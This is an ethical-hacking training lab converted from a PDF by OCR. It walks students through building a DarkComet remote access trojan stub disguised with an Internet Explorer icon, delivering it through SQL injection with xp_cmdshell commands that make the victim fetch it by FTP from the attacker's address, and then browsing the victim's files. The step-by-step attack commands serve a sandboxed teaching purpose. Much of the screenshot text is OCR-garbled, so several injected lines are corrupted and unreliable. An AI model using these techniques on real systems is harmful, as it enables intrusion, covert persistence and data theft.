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Lab 6: Utilizing Malware - Dark Comet

Introduction

This lab is part of a series of lab exercises intended to support courseware for Ethical
Hacker training. The development of this document is funded by the Department of
Labor (DOL) Trade Adjustment Assistance Community College and Career Training
(TAACCCT) Grant No. TC-22525-11-60-A-48.

By performing this lab, students will learn how to use Dark Comet.
This lab includes the following tasks:

e 1 -—Setting up the Dark Comet Client (Server)
e 2 —Using the xp_cmd shell to upload and launch a Malicious Payload
e 3 —Exploiting the Victim Machine

Domains: System Hacking, Trojans and Backdoors, Viruses and Worms

Hackers often utilize user-friendly malware programs like the Dark Comet Trojan that
will allow them to perform a variety of post exploitation tasks, including:

e Uploading Malware
e Running Programs

e Dumping Hashes

e Uninstalling Software
e Disabling Services

e Killing Processes

e Stealing Data

e DNS Manager

e Key Logger

Dark Comet is an extremely dangerous piece of malware that will allow attackers to
maintain a persistent connection on a victim’s machine through an encrypted
connection. While SharK has not been updated since 2007, Dark Comet has been
updated recently. Dark Comet works on the newer version of Windows operating
systems. Programs like this are often referred to as command and control.

Remote Access Trojan — A program that will allow a remote user, likely an attacker to
connect to a victim’s machine and perform harmful actions to the computer’s operating
system. A Remote Access Trojan, or RAT, may allow the attacker to perform such tasks
as uploading or downloading files and stealing a user’s credentials.

Dark Comet — Remote Access Trojan that has a Graphical User Interface, or GUI, that

allows the hacker to perform malicious tasks against a victim machine over an encrypted
connection. Dark Comet includes two components, the server and the client.
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Dark Comet Client — Although it may seem counterintuitive, the Dark Comet client is
configured on the machine that will act as the server and accept client connections. Any
port may be used for the “client”, but a common port like 80 (Hyper Text Transfer
Protocol) or 443 (Hyper Text Transfer Protocol Secure) or 443 will make the connection
from the victim to the attacker seem a bit less conspicuous than a port like 12345.

Dark Comet Server — A server executable or payload is created and then distributed to
one or more victims. Once the victim executes the payload, the malware will infect
their machine and they will connect to the computer running the Dark Comet software.

Wrapper — This program allows you to add more than one executable and combine

them into a single executable. From a malicious standpoint, an attacker could package a
malicious executable with a legitimate one and use this to launch an attack.
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Pod Topology

Windows
2008 Server

Windows
2003 sQL

BackTrack

Windows
5 XP Pro

INTERNAL NETWORK 192.168.1.0/24

Ethical W
'::i! iiﬁ!!!iﬁﬂ!iigi. indows l!!!ii!!!ﬂ
. 2003 Server
H acklng IIIIHII [Firewall] — &
6.1.1.1
EXTERNAL NETWORK 216.0.0.0/8
{ 3
216.6.1.100 216.5.1.200

BackTrack
5

Figure 1: Lab Topology
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Lab Settings

The information in the table below will be needed in order to complete the lab. The

task sections below provide details on the use of this information.

Required Virtual Machines and Applications

This lab requires the use of the machine running Windows XP and Windows 7.

Although you will not be logging on to the Firewall or the Windows 2003 Exchange,
these machines being utilized are used during the lab.

Windows 7

216.5.1.200 (Public IP)

Windows 7 student password

password

7/18/2013

Copyright © 2013 NISGTC

Page 6 of 32



Lab 6: Utilizing Malware - Dark Comet

1 Setting up the Dark Comet Client (Server)

Although it may seem counterintuitive, the Dark Comet client is configured on the
machine that will act as the server and accept client connections. In this case, our
Windows 7 machine will be the machine running the Dark Comet Software. We will
configure the Windows 7 machine to run the Dark Comet software and accept incoming
connections from victim machines that execute the malicious payloads.

1.1 Configuring the Dark Comet Client

1. Logon to the Microsoft Windows 2003 SQL machine. Use the PC menu in the
NETLAB+ Remote PC Viewer to send a Ctrl-Alt-Del (version 2 viewer), or click the
Send Ctrl-Alt-Del link in the bottom right corner of the viewer window (version 1
viewer). Log on to the 2003 server with the username of Administrator and the
password of P@sswOrd.

Welcome to Windows

/ 7 Windows Server2003
¥. Standard Edition

Capyright © 1885-2003 Micrasafi Corparation

&= Press Ctrl-alt-Delete to hegin.

Requiring this key combination at startup helps keep your
computer secure, For more information, click Help.

N  Windows Internal Server  Windows Server 2003 = MSEC POD Connected

Figure 2: Send Ctrl-Alt-Del to the Windows 2003 SQL

Next, we will open the command prompt on the Windows 2003 SQL. In order to fully
understand how the attack will be carried out, we must further investigate how the
Network Address Translation, or NAT, process works and its relationship to attacks.
Note that your Windows XP machine has a private IP address and is on the Local Area
Network, or LAN, of the XYZcompany’s network, which has a range of 192.168.1.0/24.

2. Open the command prompt on the Windows XP machine by clicking the desktop
shortcut.

L 2

Recycle Bin

Comrmand
Prompk

Figure 3: A Shortcut to the Command Prompt
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3. Onthe 2003 server, type the following command to view your private IP address:

C:\>ipconfig

¢ Command Prompt
ft wind
P ght

Cih=ipcontig

windows IP Configuration

Ethernet adapter Local Area Connection:

Connection-specific DNS Suffix

Figure 4: The ipconfig command

The IP address of the Windows 2003 SQL Server should be set to 192.168.1.100.

4. Now, ping the Windows 7 machine on the external network by typing:
C:\>ping 216.5.1.200

¢ Command Prompk

ing 216.5.1.200

Pinging 216.5.1.200

nt = 4 ) . £ '-.— "i]': Lost
nd tri = 1n mi 111 .

Ims, Awver

Figure 5: Successful ping of the Windows 7 machine

You should receive 4 successful replies from the Windows 7 machine with the IP address
of 216.5.1.200. In some cases, you can ping machines on the Internet. However, some
sites, like www.microsoft.com block ping. Also, some administrators do not allow pings
through the firewall. In those cases, you will not be able to ping public addresses.
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5. Log on to the Windows 7 machine as student with the password of password.

Figure 6: Logging on to Windows 7

6. Open a command prompt on the Windows 7 machine by double-clicking on the
cmd-shortcut on the desktop.

Micro. »ft
ricut | Office Outl...

Figure 7: Opening a Command Prompt on Windows 7

7. Onthe Windows 7 system, type the following to view your Public IP address
C:\>ipconfig

e+, Administrator: cmd - Shorteut
contig

windows IF Configuration

Figure 8: IP address Information on Windows 7
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8. From Windows 7 on the public Internet (simulated), attempt to ping the
Windows 2003 machine on the internal network by typing:
C:\>ping 192.168.1.100

Notice that this attempt will fail.

EM Administrator: cmnd - Shortcut

Figure 9: Failed Pings to the Machine on the Internal Network

Windows 7 is using a public IP address and is on the Wide Area Network, or WAN.
Attackers trying to get on your internal network cannot directly attack the Windows
2003 machine because it is NATed behind the Firewall. The 2003 SQL Server machine is
not sitting on the Internet (simulated) with a public IP address. However, the firewall is
redirecting traffic to the internal SQL, and we will leverage that during our attack.

Windows Windows BackTrack Windows
2003 SCL 2008 Server XP Pro
[
INTERMNAL TWORK 192.168.1.0/24
. !
Ethical NESEEy 2008 Sovver =
H aCklng [Firewall] =}_‘?
216.1.1.1 =7 -
EXTERNAL NETWORK 216.0.0.0/8
( L X 3
216.6.1.100 216.5.1.200
BackTrack Windows
7

Figure 10: Internal Machines on Private Network are Unreachable from WAN
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9. Open the Malware folder on the Win7 Desktop. Right-click on the DarkComet.7z
file, select 7-zip and select the fourth choice down, Extract to “DarkComet\”.

"
) | . » Malware - | +4 | | Search Malware

dit View Tools Help

lze * [ ] Open Share with - Burn Mew folder ==
vorites Mame Date modified Type

Desktop || Bruter 11.7z 4/29/2012 919 AM  TZFile

Downloads || DarkComet.7z 12/23/2012 8:47 AM  T7Z File

Recent Places L] P23 Open /1972012 9:48 AM RAR File

|_| shark 1-Zip * Open archive

brari les

ibraries || Wrap Share with 5 Extract files

Documents ) ) Extract Here

] Restore previous versions
Music

| R

Figure 11: Extracting the file with 7-zip

I Extract to "DarkComet” I@

=

10. Traverse thorough the Dark Comet folders until you see Dark Comet.exe.
Double-click on the Dark Comet.exe file to launch the program.

Marme

. Celesty Binder
. Goodies
. lcons
L IMI
. Plugins SRC

) skins

) Users

|| changelog.t«t

|%) comet.db

|| sqlited.dll

. Spoof extensions

| readre_help.tt

Date modified

6/3/2012 9:16 PR
B3/ 2012 9:18 PR
8202011 4:14 PM
B/18/2012 2:35 &AM
31642012 4:23 PM
8202011 4:14 Ph
1/15/2012 5:55 PM
B/18/2012 2:43 &AM
6/3/2012 9:15 PR
17472012 1:51 Ak

I A0 Hi

B3 2012 3:38 PR
/472011 8:26 Al

Type

File folder

File falder

File folder

File falder

File folder

File falder

File folder

File falder

Text Docurnent
Data Base File

& DarkCormet.exe B/7/2012 T:01 PRa Spplication 11,547 KE|

Text Document

Application extens..,

Size

-

Figure 12: Extracting the file with 7-zip

First, we need to set the listen port to something other than the default port of 1601.

7/18/2013
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11. From the Dark Comet Menu bar, click File and select Listen to new port.
[ Darkcom=tRAT ~ [
|gd Lisken bo new pork (+Listen)

Figure 13: Listen to New Port

Any port may be used for the “client”, but a common port like 80 (Hyper Text Transfer
Protocol) or 443 (Hyper Text Transfer Protocol Secure) will make the connection from
the victim to the attacker seem a bit less conspicuous than a port like the default port of
1604. In this example, we will set up Dark Comet to listen on port 443.

12. In the Listen port box, type 443. Click Start to begin listening on that port.

Add Zerver Socket [Listen] @

Listen port @ 443 =
o | Try ko Forward automaticaly (UpHP)

£3 Cancel 1, Listen

Figure 14: Listing on Port 443

The netstat command can be used to determine which ports the machine is listening on.

13. To verify that the attack machine is listening on port 443, type the following:
C:\>netstat -an

B¥ Adrinistrator cmd - Shartcut
LAl t Win

ation. A1l rights

________

Figure 15: Dark Comet is listening on Port 443
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14. To create a new server (client), Click on the DarkComet-RAT menu in the top left
hand corner, select Server module, then select Minimalist (Quick) from the

menu.

DarkComet-RAT

o | 1sers
Lisken to new port (+Lisken)

=] On Connect __|,D> Users logs

Computer MamefU,,. o
S Client settings

i Embedded FTP Client

3% Server module (657,50 KE) v | B Minimalist (Quick)

= Edit server downloader (2Kl =4 Full editar (Expert)

Figure 16: Creating a “Server”

15. For the IP/DNS address, type 216.5.1.200. For the port, type 443.

a Edit Mewr Stub - Minimal wersion EP [=] '@

Stub ID ;. Gueskl&_min

IPDNS :  216.5.1.200|

Potk 443

Start the stub with Windows (Installation)

Destination Path
[M'\"DOCS#'I, v] DCSCMIMIMDICSC, exe

Keyvname : DarkiComet RAT

DRAG AMD DROP AN ICOMN HERE

Generate the Stub ; =5 Small i Mormal

Figure 17: Changing the Port and IP address
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16. Click on Start and select Student on the top right side of the menu.

= [l ¥
‘_—‘r Getting Started
student

Docurnents

! Connectto a Projector
=
el

x| Calculator
FEEH]

Pictures
Sticky Motes

Pusic
% Enipping Tool
Computer
@ kdozilla Firefox
Control Panel
,;’:f Paint
(2048 .

Dre and Printers
1‘ HPSWiewer

ggi Wifindouws Fax and Scan

Default Progrs

> All Programs

| |Searrh programs and files

Figure 18: Entering the Student Folder

17. Double-click on the Desktop folder, then double-click on the malware folder.
Navigate through the DarkComet folders until you arrive at the Icons folder.

Double-click on the Icons folder. Find iexplore.exe and drag it to the section
indicating DRAG AND DROP AN ICON HERE.

blstudentlleEsktDp » hdalorare » DarkCormet » DarkCormet » Icons

i Toaols Help

- =] Prewview - Share with - Slide shows Print E-rmail
-
ites =
ktop lll —— Ii i i: f
riloads [_
ernt Places
i heart.ico idorntkrnowlal.ica iexgplore.ico
& Edit Mewr Stub - RAinirmal wersion =1 op |[[ =]
Stub ID Sueskl&_min
IPFCMHS 21&6.5.1.200
Fork ; 443 =

==

Start the skub with YWindowess (Installakion)

Crestination Pakh

[ravDocse, - | DCSCMIMIMDCSC . exe

Kevname : DarkComet ROT

DR.AG AMHD DROP Al IO HERE

?@b(

Generate the Stub

d

=5 Smiall e Morrmal

Figure 19: Dragging in the Icon
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18. For the Generate the Stub choice, click the Normal button.

G Edit Mew Stub - Minimal wersion E' [=] @

Stub ID ;.  Guestle_min

IP/DMS:  216.5.1.200

K

Pk 443

Skart khe stub with Windows (Installakion)

Destination Path
[MvDocs#ﬁ, v] DCSCMIMIMDCSE  exe
Keyname | DarkComek RAT
DRAG AMD DROP AN ICON HERE fg
Generake the Stub L5 Small i Mormal

Figure 20: Generating the Payload

19. In the Save As box, Click Computer > Local Disk C: > Inetpub > ftproot. For the
filename, type iexplore and then click the Save button to save the file.

& Save &s (===
@\\;}Gl . < Local Disk {C:) » inetpub » ftproot - | -y | | Hearch ftoroot 0 |
Organize Mew folder == - 'Z@Z'

4 Downloads i Marne . Diate modified Twpe

=l Recent Places
- | byt 12/26/2012 9:55 PhA Text Doc,
| hitet 125262012 9:55 PhA Text Doc,

= Libraries
3 Documents
.J‘- rAusic
le=| Pictures

B wideos

m

M Cormputer
£L, Local Disk (C3)

- 4 [}
-

File name: iexplore

Sawve as type: l v]

= Hide Folders Save ] [ Cancel I

Figure 21: Saving the File
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20. You will see the message that the stub was successfully generated. The file path
should be C:\inetpub\ftproot\iexplore.exe for the generated stub. Click OK.

Stub successfully generated @

f = '. The stub was successfully generated :
\ §Chinetpubiftproothiexplore. exe

Figure 22: The File is Generated

21. Click on Start, Computer, Local Disk C:, Inetpub, Ftproot. The iexplore.exe file
should be in the directory. Notice the actual Internet Explorer icon is used.

P

v Computer » Local Disk (T inetpub » ftproot

Wiew  Tools  Help

1.2

B Include in library - Share with - Burn
Heos o Marme :
L by
nputer i
) hitst
cal Disk {3 =

@ iexplore,exe

Mg

Figure 23: Legitimate Icon

Conclusion

Dark Comet is malware that has a server and a client component. The attacker first sets
up the client, which will listen on a port and wait for connections. Attackers on the
Internet cannot directly attack internal machines on an internal network. Rather, they
need them to get users on an internal network with private IP addresses to launch a
program so they will be able to connect to an external IP address on the Internet. If a
malicious program has a legitimate looking icon, it will help to hide its detection.

1.3

PwnNPE

7/18/2013

Discussion Questions

How does someone on the Internet attack a machine with a private IP address?
What is the command to determine if your machine is listening on port 443?
Why might the default listening port of 1601 be a bad choice for the attacker?
Name a technique that can be used to increase the likelihood a malicious file will

not be detected.

Copyright © 2013 NISGTC
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2 Using the xp_cmd shell to upload and launch a Malicious Payload

In this exercise, we will upload the malicious payload to the victim machine using the
stored procedure xp_cmd shell. We will upload the svhost.exe file, which is actually a
Dark Comet payload, by creating an ftp answer file and executing the ftp command.
After uploading the file, we will launch it to get the victim to connect to the attacker.

2.1 Upload and Launch a Malicious Payload to the Victim Machine
The web application is using JavaScript to check for input validation. This is a form of

client side validation. So, what we will do is disable JavaScript within our browser.
Perform the following steps on the External Windows 7 attack machine:

1. To disable JavaScript, select Tools from the Firefox menu bar and go down to
Options. Click on the Content button. Uncheck Enable JavaScript, then click OK.

—1ol =l
Fil= Edit Wis Hiskarsy Eookmarks Help
| L Company ®¥¥Z Login | = ~
€ [ =z18.1.1.1 -l | [ 28 - Google ol -

o 2

General Tabs

7]
Content

Applications Privacy Security Sync P\.dva-nced

v Block pop-up windows Exceptions I
I+ Load images automatically Exceptions. .. I
T Enable JawaScript I @ Adwanced. .. I

Figure 24: Disable JavaScript

2. Go to the Public IP address of XYZ Company by typing this URL in your browser:
http://216.1.1.1

¥ Company X¥Z Login - Mozilla Firefox = e
File | Edit Wiew Higtory Bookmarks Tools  Help

| L] Company x¥Z Lagin | =+ -

& > || ] =611 - | [ 28~ Google Pl ™

XY Z Company Login
Username ||
Password |

Figure 25: Public Facing Website
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3. Open the sql.txt file on the Desktop. Highlight the fifth line in the sql.txt file.
Select edit, then Copy from the menu.

master..xp_cmadsn echa open 216, 5.1, 2¢ % net pultwwwr oot s down | oad. Txt

exec master..xp_cmdshe echo "= whload, Tt —-
" exec master,.xp_cmdshell ‘echo | download. txt' —-
' exec master..xp_cmdshell ‘echo | - whload, txt' --
"oexec master..xp_cmdshell 'echo o ubwwwroothdownload, txt ' —-
" exec master..xp_cmdshell 'echo | Paste whload. Txt ' —-

Figure 26: Copying a Line of Text
4. Right-click in the username field and select Paste. Click the Submit button.

XYZ Company Login

EESSE Y oot cown o ad .t:-d'—|

Figure 27: Inputting the Information into the Username Field

You should see a web page with the response displayed in the figure below:

DMozila Firefox =101 x|

File  Edit | Wew Histary EBookmarks Tools Help

|| htepefizia, 1.1, 1)ad. . 229 36--8passmord= | + =

|
|"'l = Google ):'l #*

‘e |._, z16.1.1, 1jadminlogin, asprusername="%3Bexac+master, . sp_ -

Figure 28: Inputting the Information into the Username Field
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5. Click the down arrow to the right of the URL bar and drop down to 216.1.1.1.

| R 161,11 adrin/login.aspfusername="+exec+masker, xp cmdshel+'echo+open+216,5.1, 200:c% 34 inetpub e ontid

B Company %7 Login

216.1.1.1

Figure 29: Returning to the Home Page

6. Highlight the sixth line of the sql.txt file. Select Edit, then Copy from the menu.

' execC Master. . xp cmdshe'l'l "echo apen 216, 5 1 200>c \'met
exec master. . xp_ E ; E K

ub\wwwr‘u:u:ut\du:uwn'load L
exec master. .xp cmashe T Tnt -

EXEC master. .xp_cmgspeﬂ 'ECHD [N
ExeC master..xp_cmdshe "echo
exec master..xp_cmdshell 'echo E;@

Figure 30: Copying a Line of Text

nload. txt ' —
bhwwwr oot download. txt ' ——
nload. txt' ——

7. Right-click in the username field and select paste. Click the submit button.

Figure 31: Inputting the Information into the Username Field

You should see a web page with the response displayed in the figure below:

Figure 32: Inputting the Information into the Username Field
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8. Click the down arrow to the right of the URL bar and drop down to 216.1.1.1.

| 161,11 fadminflogin.aspPusername="+exec+masker, «p_crmdshell+echo+open+216.5,1, 200;

B Compary X2 Login

Jalinetpubwewronotid:

216.1.1.1

Figure 33: Returning to the Home Page

9. Highlight the seventh line in sql.txt. Select Edit, then Copy from the menu.

: exec master..xp_cmdshell 'echo Dpen 216 5.1.200-C: \metpub\wr‘oot\duwnhad tut' ——

BxeC Mmaster.. cmdshell 'echo Tt 'met ub\wroot\duwnhad Tt ——
EXEC MAasSTer..xp_cmds bwnwin ot S o Dt |

Undu
Doexec master..xp_cmdshell 'echo binsec d.otwt ' —-
' exec master..xp_cmdshell 'echo get e cut roothdownload., twt ' —-
' oexec master..xp_cmdshell ‘echo bye::( gemeetem, d.otwt ' —-

Figure 34: Copying a Line of Text

10. Right-click in the username field and select Paste. Click the Submit button.

Figure 35: Inputting the Information into the Username Field

You should see a web page with the response displayed in the figure below:

Figure 36: Inputting the Information into the Username Field
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11. Click the down arrow to the right of the URL bar and drop down to 216.1.1.1.

| I 16, 1.1, 1 /admin/login,aspPusername="+exec+tmaster, xp_cmdshel+echo+open+216.5,1, 2000c% 384 inetpubwwirootid:

B Compary X2 Login

216.1.1.1

Figure 37: Returning to the Home Page

12. Highlight the eighth line in the sql.txt file. Select Edit, then Copy from the menu.

exec master..xp_cmdshell 'echo open 216.5.1.200>C:%inetpubhywwwroothdownload. Txt' ——
exec master..xp_cmdshell 'echo frpz>c:iinetpubwwwroothdownload. Txt' ——
exec master..xp_cmdshell 'echo haxOrss>c:inetpubwwwroothdownload. txt ' ——

Undo

C master. . xp_

exeC MasTer.. acna EET 1EXE are,. exex=C w1 NeTpuUD w00t Cutk
EEECIN

xp_cmdshe
exec master..xp_cmdshell 'echo netpubtwswr oot downToad. Txt !
i U A L

Figure 38: Copying a Line of Text

13. Right-click in the Username field and select Paste. Click the Submit button.

RS e ro ot cown o add .b-d'—|

Password

Figure 39: Inputting the Information into the Username Field

You should see a web page with the response displayed in the figure below:

Figure 40: Inputting the Information into the Username Field
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14. Click the down arrow to the right of the URL bar and drop down to 216.1.1.1.

| I 16, 1.1, 1 /admin/login,aspPusername="+exec+tmaster, xp_cmdshel+echo+open+216.5,1, 2000c% 384 inetpubwwirootid:

B Compary X2 Login

216.1.1.1

Figure 41: Returning to the Home Page

15. Highlight the ninth line in the sql.txt file. Select Edit, then Copy from the menu.

exec master..xp_cmdshell 'echo open 216.5.1.200>c:Ninetpubiwwwroothdownload, Txt' —-
exac master..xp_cmdshell 'echo frps==oivinetpubiwwwroothdownload, Txt ' —-
exec master..xp_cmdshell 'echo haxOrz>c:yinetpubiwwwroothdownload. txt ' —— .

Undo

master..xp_cmdshell 'echo binssc:iinetpubswwwrootsdownload. txt ' —-
C master 1_cmdshe cho get JTexplore. 1 et Ul w00t 00w

master..xp_cmdshe echo byez>C:inetpubwwwr oot woown load. Txt  ——
Figure 42: Copying a Line of Text

16. Right-click in the username field and select paste. Click the submit button.

FPassword

Figure 43: Inputting the Information into the Username Field

You should see a web page with the response displayed in the figure below:

Figure 44: Inputting the Information into the Username Field
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17. Click the down arrow to the right of the URL bar and drop down to 216.1.1.1.

| I 16, 1.1, 1 /admin/login,aspPusername="+exec+tmaster, xp_cmdshel+echo+open+216.5,1, 2000c% 384 inetpubwwirootid:

B Compary X2 Login
216,111

Figure 45: Returning to the Home Page

18. Highlight the tenth line in the sql.txt file. Select Edit, then Copy from the menu.

exec master..xp_cmdshell 'echo open 216.5.1.200>C:vinetpubwwwroot download. Txt' —-
exal master..xp_cmdshell 'echo frp==civinetpubwwwroothdownload, txt' —-
exec master..xp_cmdshell 'echo hax0rszc-ddnat ook s oot dewedoa g, Xt ——
Unda
exec master..xp_cmdshell 'echo binss>c:’ Tt ——
master..xp_cmdshell 'echo i Cuk oothdownload, txt ' ——
|l exec master..xp_cmds :

Figure 46: Copying a Line of Text

19. Right-click in the username field and select paste. Click the submit button.

Figure 47: Inputting the Information into the Username Field

You should see a web page with the response displayed in the figure below:

Figure 48: Inputting the Information into the Username Field
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20. Click the down arrow to the right of the URL bar and drop down to 216.1.1.1.

| R 15 1.1, 1 adminlogin. aspPusemane="+exec+master xp_cmdshel+'echo+open+216.5,1, 20000 % 3alnetpubwwwrootid:

B compary

216.1.1.1

Figure 49: Returning to the Home Page

21. Go to the Public IP address of XYZ Company by typing this URL in your browser:
http://216.1.1.1/download.txt

You should have the same 6 lines in the figure below. If not, return to Step 3 of this
task.

¥%) Mozilla Firefox

File Edit Wiew History  Bookmarks

| || http:ff216.1.1.1/download. kxt

e | [ 216.1.1.1/download. bt

open 21&6.5.1.200
ftp

hax0r

hin

get iexplore.exe
hye

Figure 50: The Created FTP file

22. Open Wireshark on Windows 7 by clicking the shortcut on the desktop.

Figure 51: Opening Wireshark

23. Select Capture from the Wireshark menu bar and go down to Interfaces.

ﬁ The Wireshark Metwark Snalyzer [MWireshark 16,1 (VMR
Eile  Edit Miew Go Capture Snalyze Statistics Te
Bl Interfaces.. Ctrl+] &

Figure 52: Selecting Interfaces from the Capture Menu
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24. Click on the IPv6 Address to change it to an IPv4 Address. Click Start.

-

“ Wireshark: Capture Interfaces EI@

Description Ip Packets Packets/s stop

Er ] Intel(R) PRO/1000 MT Netwark Connectionffe0:78d5:d63:3ede:f565 | 0 0 |Start| | Options | | Details |

“ Wireshark: Capture Interfaces EI@
Description Ip Packets  Packets/s Stop
Er] Intel(R) PRO/L000 MT Network Connection| 216.5.1.200 | 0 0 | start || Qptions || Detals |

Figure 53: Changing IPv6 to IPv4
25. Type ftp (all lowercase) in the Wireshark filter pane and click Apply to the filter.

Filter: | ftp IZIExpressiDn... Clear Lpply

Figure 54: ftp Filter in Wireshark

26. Click the down arrow to the right of the URL bar and drop down to 216.1.1.1.

xp_cmdshell+H'echo+open+216.5.1, 200 =c%:3a8 instpublwwmwr—ootid:

B compar

216.1.1.1

Figure 55: Returning to the Home Page

27. Highlight the eleventh line in sql.txt. Select Edit, then Copy from the menu.

Figure 56: Copying a Line of Text
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28. Right-click in the Username field and select Paste. Click the Submit button.

XYZ Company Login

TTzername ﬁwwuwl:u otydownload .t:-d'—|

Figure 57: Inputting the Information into the Username Field

You should see a web page with the response displayed in the figure below:

Figure 58: Inputting the Information into the Username Field

In the Wireshark capture, you should see the transfer complete response. Notice RETR
iexplore.exe.

Filter: | ftp EIExpression... Clear Apply
o Timme Source Destination Protocol Length Info
27 2013-02-23 218.1.1.1 216.5.1.200 FTP 64 Request: USER ftp

28 2013-02-23 216. 5.1. 200 216.1.1.1 FTP 126 Response: 331 ANOMYNOLS access a
29 2013-02-23 216.1.1.1 216.5.1.200 FTP 66 ReqUest: PASS haxdr

30 2013-02-23 216.5.1.200 216.1.1.1 FTP 75 Response: 230 User Togged in.
32 2013-02-23 216, 5.1.200 216.1.1.1 FTP 74 Response: 200 Type set to I.
33 2015-02-23 216.1.1.1 216.5,1,200 FTP 77 Request: PORT 216,1,1,1,1%,137

35 2003-02-23 216.5.1.200 216.1.1.1 FTP B4 Response: 200 PORT command
38 2013-02-23 216.1.1.1 216,5.1.200 FTP 73 Request: RETR iexplore.exe
39 2003-02-23 216.5.1, 200 216,1.1.1 FTP 108 R e 143 n

245 L1200 216.1.1.1 FTP

250 2013-02-23 216.1.1.1 216,5.1.200 FTF

251 2013-02-23 216, 5.1, 200 216,1.1.1 FTP

Figure 59: Inputting the Information into the Username Field
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29. Click the down arrow to the right of the URL bar and drop down to 216.1.1.1.

||_, ?16.1.1, 1/adminilogin, asp?username='"+exec+Hmaster, xp_cmdshell+Hecho+open+216.5.1, 200:=c% 34 nstpubbwwwrootld EC"|

B corpany

Figure 60: Returning to the Home Page

30. Highlight the eleventh line in sql.txt. Select edit, then copy from the menu.

exec master..xp_cmdshell
exeC master..xp_cmdshe

Figure 61: Copying a Line of Text

31. Right-click in the username field and select Paste. Click the Submit button.

Figure 62: Inputting the Information into the Username Field

You should now have a Dark Comet connection to the victim SQL server machine.

DarkComet RAT - New User !

User ID : Guestl6_min
IP:216.1.1.1
SERVER [ SYSTEM

Figure 63: A Dark Comet Connection to the Victim (Thanks to SQL Injection)
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32. Examine the Dark Comet program and notice the Public and Private IP address.

W ﬂ_@_ sers (1) on Conneck 3 Userslogs | - Socket [ Met

h... ID IP Wanf[Lan] : Port Computer MamefU,.. Q3. 5P . a...

4@- Unclassed users
E=1g28  Guestlf... 216.1.1.1[[192.168.1,100] : 443 SERVER [ SYSTEM Windows ...

Figure 64: A Dark Comet Connection to the Victim (Thanks to SQL Injection)

Windows Windows BackTrack
2003 sQL 2008 Server

Eth ica I m m\:gﬂdsows sl;llr:::- I
- arver
H ac kl n g HENEER [Firewall] ‘_#—_.?

| 216.1.1. A==
Z16.1. M1 [ [192.165, 1M%0] : 443
EXTERNAL NETWORK 216.0.0.0/8
N

192.168.1.0/24

. |

216.6.1.100 \ 216.5.1.200

S -3
- > -
BackTrack Windows
5 7

Figure 65: The WAN/LAN connections

2.2

Conclusion

A malicious Dark Comet payload is coded with the IP address and listening port of the
attacking machine. In this case, SQL injection was utilized to upload the malware.

2.3

PwNPE

7/18/2013

Discussion Questions

How do you change the Interface in Wireshark from IPv6 to IPv4?

How does Network Address Translation, or NAT, affect Dark Comet?
What is the procedure to disable JavaScript in Firefox ?

What would be a good name for a piece of malware to help disguise its
presence?
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3 Exploiting the Victim Machine

In this section, you will be using Dark Comet to exploit the victim. Only some of Dark
Comet's capabilities will not be covered in this lesson, so it is recommended that you

consider performing additional experimentation with the software within the isolated
environment.

Never use Dark Comet or perform SQL injection outside of the isolated virtual
environment.
3.1 Exploiting the Victim Machine with Dark Comet

1. Onthe Windows 7 machine, double click on the connection. A window will open
with a large number of actions that you can perform against the victim machine.

L Control : [SERVER / SYSTEM), Socket: [1629]. o [ ®
i System Info # Syctem Morikbor | ®a Computer Information | 5% Trace Map
& Fun Functions
-4 Syskem Functions CPLU Usags chart
EJ memote M5Config
4+ Remobe Scripting
& Files manager
1L Passwords [ Dakas
W MM Functions - ____________________________________________________4
B Spy Functions RAM Usage chart

15 Netwark Functions
£ Miesc Functions

§ Compuber Pover
L, Rkt Sackst

By Server Actions
AR ——
") Update Sarver

Auctivie RRAMICPU Monibor

Figure 66: The connection to the Victim

2. Click the Computer Information tab to display information about the victim.

skl Control : [SERVER / SYSTEM)], Socket: [1928]. ==
- @ System Info @ System Maonitar =% Computer Information 54 Trace Map
= 4 Fun Functions
> iy System Functions Type value -
» IZ] Remote M3Config .
> ,_ Remote Scripting Server Connexion -
> gt Flles manager Connection Host 216.5.1.200
» - Passwords | Datas Connection Pork 443
>l MEN FU”CF'O”S Server General Information -~
: g ilpest):;lc;f::tmns Country English {United States)
> -4 Misc Functions MarmeMick SERVER/[SYSTEM
> . [&| Computer Power Operating Systern Windows Server 2003 [3790]
» 12y Restart Socket Screen Resolution 1024%768 =
> m Server Actions N°® Mouse Buttans 3
> -5 Update Server Active Caption
SysDir CHWIMDOWS sy sham32
WfinDir CHMIMNDOMWS
User SID 5-1-5-15
Mac Adress F0-0E-8B-00-CC-00
Swsteme UpTime 0 Days and 12:4:30
,@Computer power [ bype Deskkop computer |
BIOS Information -
Bins Date 06/0211
Bios ID AT/AT COMPATIELE
Bios Type =86 Family & Model 10 Stepping 7
Eios Yendor GenuineIntel J
% Clean list 5 Refresh < Grab system info

Figure 67: Information Screen of Dark Comet
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3. Click on Files Manager > Explorer files. The left pane represents your Windows
7 machine and the right pane shows the drives on the victim machine. You can
use this section to upload and download files over Dark Comet’s encrypted
network connection.

Cantrol : [SERVER / SYSTEM[ il
= 0 [ . ! I File Manager : [SERVER £ SYSTEM], Socket : [1328], =8 EcE =<
> -l Svstem Info -
» 425 Fun Functions e f X U Send = 4 Receive B o X §f 2
» 5y System Functions ) ) ) -
» J7] Remate MSCanfig Marne Type Size Marne Type Size File creation
d Remate Scripking e Folder -t Folder
Files manager &=C Folder = Falder
b Explorer files L:.,,,D Folder L:.,,,D Folder

.| Search For files

>+ Passwords [ Datas

> %Y MSM Functions . . . .

+-@ Spy Functions Your Mac Ine Vlctlm Mac Ine
4 4 Mebwork Functions
----- Active Parts
gl Metwork Shares
----- N Server Sockss
----- B8 1an Computers
- Nek Gateway

----- 2 Ul Download

..... ) Browse Page ‘ = :
----- 4 Redirect IpfPort
----- " WIFI Access points llu

» 4% Misc Functions

a 8 ke

Figure 68: Managing Files on the Remote Machine

4. Double-click on the C: Drive on the victim’s machine to view the drive’s contents.

Mame Tvpe Si: ™

. Comparny Y Zdocuments Faolder -

. Documents and Setkings Faolder -

. I386 Folder -

. Inetpub Folder - | .

. Program Files Faolder - |3§

= R Folder -

. Swskem Yolume Inforrmation Faolder -

L WINMDOWS Faolder -

. wimnpub Falder -
EL|AUTOEZEC . BAT Windows Batch. .. a.
=k | book.ini Configurakion 5... 1S
& COMFIG. SYS Swskem File a.
|| Exchange Serwver Setup Progress.log Text Document 2. -
al LIE ke

Figure 69: Folders on the Remote Machine

Many of the folders are common to all Windows distributions like the Windows and
Program Files. The 1386 directory holds install files. While Documents and Settings
(Now Users on Vista and Higher) often stores documents, this is a server, so it is unlikely
much is stored there. Two folders of interest are CompanyXYZdocuments and Salary.
